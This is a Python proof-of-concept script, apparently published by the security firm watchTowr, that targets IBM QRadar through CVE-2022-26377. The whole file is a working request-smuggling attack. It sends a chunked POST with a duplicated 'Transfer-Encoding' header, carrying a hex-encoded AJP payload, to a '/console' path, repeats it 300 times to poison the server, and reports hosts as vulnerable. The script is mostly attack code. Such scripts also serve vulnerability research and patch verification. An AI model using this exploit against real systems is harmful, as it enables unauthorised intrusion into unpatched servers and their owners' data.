/
watchtowr-vs-ibm_qradar_2024-04-12.py
65 lines (54 loc) · 2.93 KB
/
watchtowr-vs-ibm_qradar_2024-04-12.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import requests
import re
import base64
import argparse
import socket, sys, ssl, time
import binascii
import time
banner = """ __ ___ ___________
__ _ ______ _/ |__ ____ | |_\\__ ____\\____ _ ________
\\ \\/ \\/ \\__ \\ ___/ ___\\| | \\| | / _ \\ \\/ \\/ \\_ __ \\
\\ / / __ \\| | \\ \\___| Y | |( <_> \\ / | | \\/
\\/\\_/ (____ |__| \\___ |___|__|__ | \\__ / \\/\\_/ |__|
\\/ \\/ \\/
watchtowr-vs-ibm_qradar_2024-04-12.py
- Sonny, watchTowr (sonny@watchTowr.com)
CVEs: [CVE-2022-26377] """
helptext = """
Example Usage:
- python watchtowr-vs-ibm_qradar_2024-04-12 --url http://localhost
"""
proxies = {
'http': 'http://127.0.0.1:8081',
'https': 'http://127.0.0.1:8081',
}
parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter)
parser.add_argument("--url", help="target url in the format https://localhost", default=False, action="store", required=True)
try:
args = parser.parse_args()
except:
print(banner)
print(helptext)
raise
print(banner)
requests.urllib3.disable_warnings()
print(f"[*] Target Server: {args.url} ")
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Transfer-Encoding": "chunked, chunked"
}
payload_hex = "0008485454502f312e3100000b2f636f6e736f6c652f78780000093132372e302e302e310000026c6f0000076c6f63616c7874000050000003000154000020424242424242424242424242424242424242424242424242424242424242424200000a5741544348544f5752300000013000a00b000d7761746368746f77722e636f6d00030062626262620005016262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262653d00ff00"
data = b"204\r\n" + binascii.unhexlify(payload_hex) + b"\r\n0\r\n\r\n"
for i in range(300):
green_color_code = '\033[92m'
vuln_text = "[*] Host is vulnerable, poison consumed"
reset_color_code = '\033[0m'
# Your sequence here
print(f"[*] Sending Poison ")
try:
response = requests.post(f"{args.url}/console/watchTowr", data=data, timeout=5, verify=False, headers=headers)
except:
1+1
if "watchtowr" in str(response.headers):
print(green_color_code + vuln_text + reset_color_code)
time.sleep(1)